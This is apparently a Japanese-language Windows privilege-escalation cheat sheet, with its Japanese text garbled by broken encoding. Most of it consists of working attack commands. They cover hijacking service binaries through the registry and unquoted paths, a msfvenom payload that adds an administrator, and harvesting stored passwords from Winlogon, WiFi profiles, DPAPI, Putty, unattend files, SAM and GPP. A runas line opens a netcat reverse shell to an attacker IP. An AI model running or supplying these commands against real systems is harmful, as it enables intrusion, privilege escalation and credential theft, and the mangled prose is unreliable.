sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
ãµãŒãã¹ã¬ãžã¹ããªã®å€æŽæš©é
ãµãŒãã¹ã¬ãžã¹ããªãå€æŽã§ããã確èªããå¿
èŠããããŸãã
ãµãŒãã¹ã¬ãžã¹ããªã«å¯Ÿããæš©éã確èªããã«ã¯ã次ã®ããã«ããŸãïŒ
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Authenticated Users ãŸã㯠NT AUTHORITY\INTERACTIVE ã FullControl
æš©éãæã£ãŠãããã©ããã確èªããå¿
èŠããããŸããããããã§ããã°ããµãŒãã¹ã«ãã£ãŠå®è¡ããããã€ããªãå€æŽã§ããŸãã
å®è¡ããããã€ããªã®ãã¹ãå€æŽããã«ã¯:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
ãµãŒãã¹ã¬ãžã¹ããªã®AppendData/AddSubdirectoryæš©é
ãã®æš©éãæã£ãŠããå Žåããã®ã¬ãžã¹ããªãããµãã¬ãžã¹ããªãäœæã§ããããšãæå³ããŸããWindowsãµãŒãã¹ã®å Žåãããã¯ä»»æã®ã³ãŒããå®è¡ããã®ã«ååã§ãïŒ
{% content-ref url="appenddata-addsubdirectory-permission-over-service-registry.md" %} appenddata-addsubdirectory-permission-over-service-registry.md {% endcontent-ref %}
åŒçšãããŠããªããµãŒãã¹ãã¹
å®è¡å¯èœãã¡ã€ã«ãžã®ãã¹ãåŒçšç¬Šã§å²ãŸããŠããªãå ŽåãWindowsã¯ã¹ããŒã¹ã®åã«ãããã¹ãŠã®éšåãå®è¡ããããšããŸãã
äŸãã°ããã¹ C:\Program Files\Some Folder\Service.exe ã®å ŽåãWindowsã¯æ¬¡ã®ããã«å®è¡ããããšããŸãïŒ
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
ãã¹ãŠã®åŒçšãããŠããªããµãŒãã¹ãã¹ããªã¹ãããçµã¿èŸŒã¿ã®WindowsãµãŒãã¹ã«å±ãããã®ã¯é€å€ããŸã:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services
#Other way
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
ãã®è匱æ§ãæ€åºããæªçšããããšãã§ããŸã metasploitã䜿çšããŠ: exploit/windows/local/trusted\_service\_path
metasploitã䜿çšããŠãµãŒãã¹ãã€ããªãæåã§äœæã§ããŸã:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
Recovery Actions
Windowsã¯ããµãŒãã¹ã倱æããå Žåã«å®è¡ãããã¢ã¯ã·ã§ã³ãæå®ããããšããŠãŒã¶ãŒã«èš±å¯ããŸãããã®æ©èœã¯ããã€ããªãæãããã«æ§æã§ããŸãããã®ãã€ããªã眮ãæãå¯èœã§ããã°ãç¹æš©ææ Œãå¯èœãããããŸããã詳现ã¯å ¬åŒããã¥ã¡ã³ãã§ç¢ºèªã§ããŸãã
Applications
Installed Applications
ãã€ããªã®æš©éïŒäžæžãããŠç¹æš©ãææ Œã§ãããããããŸããïŒãšãã©ã«ããŒã®æš©éã確èªããŠãã ããïŒDLL HijackingïŒã
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
æžã蟌ã¿æš©é
ç¹å®ã®ãã¡ã€ã«ãèªã¿åãããã«èšå®ãã¡ã€ã«ãå€æŽã§ãããããŸãã¯ç®¡çè ã¢ã«ãŠã³ãïŒschedtasksïŒã«ãã£ãŠå®è¡ããããã€ããªãå€æŽã§ãããã確èªããŸãã
ã·ã¹ãã å ã®åŒ±ããã©ã«ããŒ/ãã¡ã€ã«ã®æš©éãèŠã€ããæ¹æ³ã¯æ¬¡ã®ãšããã§ã:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
ã¹ã¿ãŒãã¢ããæã«å®è¡
ç°ãªããŠãŒã¶ãŒã«ãã£ãŠå®è¡ãããã¬ãžã¹ããªãŸãã¯ãã€ããªãäžæžãã§ããã確èªããŠãã ããã
以äžã®ããŒãžãèªãã§ãç¹æš©ãææ Œãããããã®èå³æ·±ã autorunsã®å Žæ ã«ã€ããŠåŠãã§ãã ãã:
{% content-ref url="privilege-escalation-with-autorun-binaries.md" %} privilege-escalation-with-autorun-binaries.md {% endcontent-ref %}
ãã©ã€ããŒ
å¯èœãªãµãŒãããŒãã£ã®å¥åŠ/è匱ãªãã©ã€ããŒãæ¢ããŠãã ããã
driverquery
driverquery.exe /fo table
driverquery /SI
PATH DLL Hijacking
ããPATHå ã®ãã©ã«ããŒã«æžã蟌ã¿æš©éãããå Žåãããã»ã¹ã«ãã£ãŠèªã¿èŸŒãŸããDLLããã€ãžã£ãã¯ããæš©éãææ Œãããããšãã§ãããããããŸããã
PATHå ã®ãã¹ãŠã®ãã©ã«ããŒã®æš©éã確èªããŠãã ãã:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
ãã®ãã§ãã¯ãæªçšããæ¹æ³ã®è©³çŽ°ã«ã€ããŠã¯ã次ãåç §ããŠãã ããïŒ
{% content-ref url="dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md" %} writable-sys-path-+dll-hijacking-privesc.md {% endcontent-ref %}
ãããã¯ãŒã¯
å ±æ
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
hostsãã¡ã€ã«ã«ããŒãã³ãŒãã£ã³ã°ãããä»ã®æ¢ç¥ã®ã³ã³ãã¥ãŒã¿ã確èªããŸã
type C:\Windows\System32\drivers\etc\hosts
ãããã¯ãŒã¯ã€ã³ã¿ãŒãã§ãŒã¹ãšDNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Open Ports
å€éšããã®å¶éããããµãŒãã¹ã確èªããŸã
netstat -ano #Opened ports?
ã«ãŒãã£ã³ã°ããŒãã«
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARPããŒãã«
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
ãã¡ã€ã¢ãŠã©ãŒã«ã«ãŒã«
ãã¡ã€ã¢ãŠã©ãŒã«é¢é£ã®ã³ãã³ãã«ã€ããŠã¯ãã®ããŒãžã確èªããŠãã ãã (ã«ãŒã«ã®ãªã¹ããã«ãŒã«ã®äœæããªãã«ããããªãã«ãã...)
ããã«ãããã¯ãŒã¯åæã®ããã®ã³ãã³ãã¯ãã¡ã
Windows Subsystem for Linux (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
ãã€ã㪠bash.exe
㯠C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
ã«ãèŠã€ããããšãã§ããŸãã
ã«ãŒããŠãŒã¶ãŒãååŸãããšãä»»æã®ããŒãã§ãªã¹ãã³ã°ã§ããŸãïŒæåã« nc.exe
ã䜿çšããŠããŒãã§ãªã¹ãã³ã°ãããšãGUIãä»ã㊠nc
ããã¡ã€ã¢ãŠã©ãŒã«ã«ãã£ãŠèš±å¯ãããã¹ããã©ãããå°ããããŸãïŒã
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
bashãç°¡åã«rootãšããŠèµ·åããã«ã¯ã--default-user root
ãè©Šãããšãã§ããŸãã
WSL
ãã¡ã€ã«ã·ã¹ãã ã¯ããã©ã«ããŒC:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
ã§æ¢çŽ¢ã§ããŸãã
Windowsã®è³æ Œæ å ±
Winlogonã®è³æ Œæ å ±
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
Credentials manager / Windows vault
From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vaultã¯ãWindowsããŠãŒã¶ãŒãèªåçã«ãã°ã€ã³ãããããšãã§ãããµãŒããŒããŠã§ããµã€ãããã®ä»ã®ããã°ã©ã ã®ãŠãŒã¶ãŒè³æ Œæ
å ±ãä¿åããŸããäžèŠãããšããŠãŒã¶ãŒãFacebookã®è³æ Œæ
å ±ãTwitterã®è³æ Œæ
å ±ãGmailã®è³æ Œæ
å ±ãªã©ãä¿åãããã©ãŠã¶ãéããŠèªåçã«ãã°ã€ã³ã§ããããã«èŠãããããããŸãããããããããã§ã¯ãããŸããã
Windows Vaultã¯ãWindowsããŠãŒã¶ãŒãèªåçã«ãã°ã€ã³ãããããšãã§ããè³æ Œæ å ±ãä¿åããŸããããã¯ããªãœãŒã¹ã«ã¢ã¯ã»ã¹ããããã«è³æ Œæ å ±ãå¿ èŠãªä»»æã®Windowsã¢ããªã±ãŒã·ã§ã³ããã®Credential Manager & Windows Vaultãå©çšãããŠãŒã¶ãŒãåžžã«ãŠãŒã¶ãŒåãšãã¹ã¯ãŒããå ¥åãã代ããã«æäŸãããè³æ Œæ å ±ã䜿çšã§ããããšãæå³ããŸãã
ã¢ããªã±ãŒã·ã§ã³ãCredential Managerãšçžäºäœçšããªãéããç¹å®ã®ãªãœãŒã¹ã®è³æ Œæ å ±ã䜿çšããããšã¯äžå¯èœã ãšæããŸãããããã£ãŠãã¢ããªã±ãŒã·ã§ã³ãããŒã«ããå©çšãããå Žåã¯ãäœããã®æ¹æ³ã§è³æ Œæ å ±ãããŒãžã£ãŒãšéä¿¡ãããã®ãªãœãŒã¹ã®è³æ Œæ å ±ãããã©ã«ãã®ã¹ãã¬ãŒãžããŒã«ãããèŠæ±ããå¿ èŠããããŸãã
cmdkey
ã䜿çšããŠããã·ã³äžã«ä¿åãããè³æ Œæ
å ±ããªã¹ãããŸãã
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
次ã«ãä¿åãããè³æ Œæ
å ±ã䜿çšããããã«runas
ã/savecred
ãªãã·ã§ã³ãšå
±ã«äœ¿çšã§ããŸãã次ã®äŸã¯ãSMBå
±æãä»ããŠãªã¢ãŒããã€ããªãåŒã³åºããŠããŸãã
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
runas
ãæäŸãããè³æ Œæ
å ±ã§äœ¿çšããã
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
泚æããŠãã ãããmimikatzãlazagneãcredentialfileviewãVaultPasswordViewããŸãã¯Empire Powershells moduleããã
DPAPI
ããŒã¿ä¿è·API (DPAPI) ã¯ãããŒã¿ã®å¯Ÿç§°æå·åã®æ¹æ³ãæäŸããäž»ã«Windowsãªãã¬ãŒãã£ã³ã°ã·ã¹ãã å ã§é察称ç§å¯éµã®å¯Ÿç§°æå·åã«äœ¿çšãããŸãããã®æå·åã¯ããŠãŒã¶ãŒãŸãã¯ã·ã¹ãã ã®ç§å¯ãå©çšããŠãšã³ããããŒã«å€§ããå¯äžããŸãã
DPAPIã¯ããŠãŒã¶ãŒã®ãã°ã€ã³ç§å¯ããå°åºããã察称éµãéããŠéµã®æå·åãå¯èœã«ããŸããã·ã¹ãã æå·åãé¢äžããã·ããªãªã§ã¯ãã·ã¹ãã ã®ãã¡ã€ã³èªèšŒç§å¯ãå©çšããŸãã
DPAPIã䜿çšããŠæå·åããããŠãŒã¶ãŒRSAéµã¯ã%APPDATA%\Microsoft\Protect\{SID}
ãã£ã¬ã¯ããªã«ä¿åãããããã§{SID}
ã¯ãŠãŒã¶ãŒã®ã»ãã¥ãªãã£èå¥åãè¡šããŸããDPAPIããŒã¯ããŠãŒã¶ãŒã®ç§å¯éµãä¿è·ãããã¹ã¿ãŒããŒãšåããã¡ã€ã«ã«å
±åããŠãããéåžžã¯64ãã€ãã®ã©ã³ãã ããŒã¿ã§æ§æãããŠããŸããïŒãã®ãã£ã¬ã¯ããªãžã®ã¢ã¯ã»ã¹ã¯å¶éãããŠãããCMDã®dir
ã³ãã³ãã§ãã®å
容ããªã¹ãããããšã¯ã§ããŸããããPowerShellãéããŠãªã¹ãããããšã¯å¯èœã§ãïŒã
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
mimikatzã¢ãžã¥ãŒã« dpapi::masterkey
ãé©åãªåŒæ°ïŒ/pvk
ãŸã㯠/rpc
ïŒã§äœ¿çšããŠãããã埩å·åã§ããŸãã
ãã¹ã¿ãŒãã¹ã¯ãŒãã§ä¿è·ãããè³æ Œæ å ±ãã¡ã€ã« ã¯éåžžã次ã®å Žæã«ãããŸãïŒ
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
mimikatzã¢ãžã¥ãŒã« dpapi::cred
ãé©å㪠/masterkey
ãšå
±ã«äœ¿çšããŠåŸ©å·åã§ããŸãã
ã¡ã¢ãª ãã å€ãã®DPAPI ãã¹ã¿ã㌠ã sekurlsa::dpapi
ã¢ãžã¥ãŒã«ã䜿ã£ãŠæœåºã§ããŸãïŒããªããã«ãŒãã®å ŽåïŒã
{% content-ref url="dpapi-extracting-passwords.md" %} dpapi-extracting-passwords.md {% endcontent-ref %}
PowerShellè³æ Œæ å ±
PowerShellè³æ Œæ å ± ã¯ãã¹ã¯ãªããäœæãèªååã¿ã¹ã¯ã®ããã«ãæå·åãããè³æ Œæ å ±ã䟿å©ã«ä¿åããæ¹æ³ãšããŠãã䜿çšãããŸããè³æ Œæ å ±ã¯ DPAPI ã䜿çšããŠä¿è·ãããŠãããéåžžã¯ãããäœæãããåãã³ã³ãã¥ãŒã¿äžã®åããŠãŒã¶ãŒã«ãã£ãŠã®ã¿åŸ©å·åã§ããŸãã
è³æ Œæ å ±ãå«ããã¡ã€ã«ããPSè³æ Œæ å ±ã埩å·åããã«ã¯ã次ã®ããã«ããŸãïŒ
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
Wifi
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
ä¿åãããRDPæ¥ç¶
ããã㯠HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
ããã³ HKCU\Software\Microsoft\Terminal Server Client\Servers\
ã«ãããŸãã
æè¿å®è¡ãããã³ãã³ã
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
ãªã¢ãŒããã¹ã¯ãããè³æ Œæ å ±ãããŒãžã£ãŒ
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Use the Mimikatz dpapi::rdg
module with appropriate /masterkey
to decrypt any .rdg files
You can extract many DPAPI masterkeys from memory with the Mimikatz sekurlsa::dpapi
module
Sticky Notes
人ã
ã¯ãã°ãã°Windowsã¯ãŒã¯ã¹ããŒã·ã§ã³ã§StickyNotesã¢ããªã䜿çšããŠãã¹ã¯ãŒãããã®ä»ã®æ
å ±ãä¿åããŸããããããããŒã¿ããŒã¹ãã¡ã€ã«ã§ããããšã«æ°ã¥ããŠããŸããããã®ãã¡ã€ã«ã¯C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
ã«ãããåžžã«æ€çŽ¢ããŠèª¿æ»ãã䟡å€ããããŸãã
AppCmd.exe
AppCmd.exeãããã¹ã¯ãŒããå埩ããã«ã¯ã管çè
ã§ãããé«ãæŽåæ§ã¬ãã«ã§å®è¡ããå¿
èŠããããŸãã
AppCmd.exeã¯%systemroot%\system32\inetsrv\
ãã£ã¬ã¯ããªã«ãããŸãã
ãã®ãã¡ã€ã«ãååšããå Žåãããã€ãã®è³æ Œæ
å ±ãæ§æãããŠãããå埩ã§ããå¯èœæ§ããããŸãã
This code was extracted from PowerUP:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
C:\Windows\CCM\SCClient.exe
ãååšããã確èªããŸãã
ã€ã³ã¹ããŒã©ãŒã¯ SYSTEM æš©éã§å®è¡ãããå€ã㯠DLL ãµã€ãããŒãã£ã³ã°ã«è匱ã§ã (æ
å ±å
: ** https://github.com/enjoiz/Privesc)ã**
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
ãã¡ã€ã«ãšã¬ãžã¹ã㪠(è³æ Œæ å ±)
Puttyã®è³æ Œæ å ±
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH ãã¹ãããŒ
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
SSHããŒã®ã¬ãžã¹ããª
SSHãã©ã€ããŒãããŒã¯ã¬ãžã¹ããªããŒHKCU\Software\OpenSSH\Agent\Keys
å
ã«ä¿åããããããããã«èå³æ·±ããã®ããªãã確èªããå¿
èŠããããŸãïŒ
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
ãã®ãã¹å
ã«ãšã³ããªãèŠã€ãã£ãå Žåãããã¯ããããä¿åãããSSHããŒã§ããããã¯æå·åãããŠä¿åãããŠããŸãããhttps://github.com/ropnop/windows_sshagent_extractã䜿çšããŠç°¡åã«åŸ©å·åã§ããŸãã
ãã®æè¡ã«é¢ãã詳现ã¯ãã¡ã: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
ssh-agent
ãµãŒãã¹ãå®è¡ãããŠããªãå Žåãèªåçã«èµ·åããããã«ããã«ã¯ã次ã®ã³ãã³ããå®è¡ããŸã:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
{% hint style="info" %}
ãã®æè¡ã¯ãã¯ãæå¹ã§ã¯ãªãããã§ããããã€ãã®sshããŒãäœæããssh-add
ã§è¿œå ããsshãä»ããŠãã·ã³ã«ãã°ã€ã³ããããšããŸãããã¬ãžã¹ã㪠HKCU\Software\OpenSSH\Agent\Keys ã¯ååšãããprocmonã¯é察称ããŒèªèšŒäžã«dpapi.dll
ã®äœ¿çšãç¹å®ããŸããã§ããã
{% endhint %}
ç¡äººãã¡ã€ã«
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
ããªãã¯metasploitã䜿çšããŠãããã®ãã¡ã€ã«ãæ€çŽ¢ããããšãã§ããŸã: post/windows/gather/enum_unattend
Example content:
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
SAM & SYSTEM ããã¯ã¢ãã
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
ã¯ã©ãŠãèªèšŒæ å ±
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
SiteList.xmlãšãããã¡ã€ã«ãæ¢ããŸãã
Cached GPP Pasword
以åã¯ãã°ã«ãŒãããªã·ãŒã®èšå®ïŒGPPïŒãä»ããŠãè€æ°ã®ãã·ã³ã«ã«ã¹ã¿ã ããŒã«ã«ç®¡çè ã¢ã«ãŠã³ããå±éããæ©èœããããŸããããããããã®æ¹æ³ã«ã¯é倧ãªã»ãã¥ãªãã£äžã®æ¬ é¥ããããŸããããŸããSYSVOLã«XMLãã¡ã€ã«ãšããŠä¿åãããŠããã°ã«ãŒãããªã·ãŒãªããžã§ã¯ãïŒGPOïŒã¯ãä»»æã®ãã¡ã€ã³ãŠãŒã¶ãŒã«ãã£ãŠã¢ã¯ã»ã¹å¯èœã§ããã次ã«ããããã®GPPå ã®ãã¹ã¯ãŒãã¯ãå ¬éãããããã©ã«ãããŒã䜿çšããŠAES256ã§æå·åãããŠãããèªèšŒããããŠãŒã¶ãŒã«ãã£ãŠåŸ©å·åå¯èœã§ãããããã¯ããŠãŒã¶ãŒãç¹æš©ãææ Œãããå¯èœæ§ããããããæ·±å»ãªãªã¹ã¯ããããããŸããã
ãã®ãªã¹ã¯ã軜æžããããã«ããcpasswordããã£ãŒã«ãã空ã§ãªãããŒã«ã«ãã£ãã·ã¥ãããGPPãã¡ã€ã«ãã¹ãã£ã³ããæ©èœãéçºãããŸããããã®ãããªãã¡ã€ã«ãèŠã€ãããšãé¢æ°ã¯ãã¹ã¯ãŒãã埩å·åããã«ã¹ã¿ã PowerShellãªããžã§ã¯ããè¿ããŸãããã®ãªããžã§ã¯ãã«ã¯ãGPPã«é¢ãã詳现ãšãã¡ã€ã«ã®å Žæãå«ãŸããŠããããã®ã»ãã¥ãªãã£è匱æ§ã®ç¹å®ãšä¿®æ£ã«åœ¹ç«ã¡ãŸãã
ãããã®ãã¡ã€ã«ãæ¢ãã«ã¯ãC:\ProgramData\Microsoft\Group Policy\history
ãŸãã¯_C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\historyïŒW Vista以åïŒ_ãåç
§ããŠãã ããïŒ
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
cPasswordã埩å·åããã«ã¯ïŒ
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
Using crackmapexec to get the passwords:
ãã¹ã¯ãŒããååŸããããã® crackmapexec ã®äœ¿çš:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
IIS Web Config
Get-Childitem âPath C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
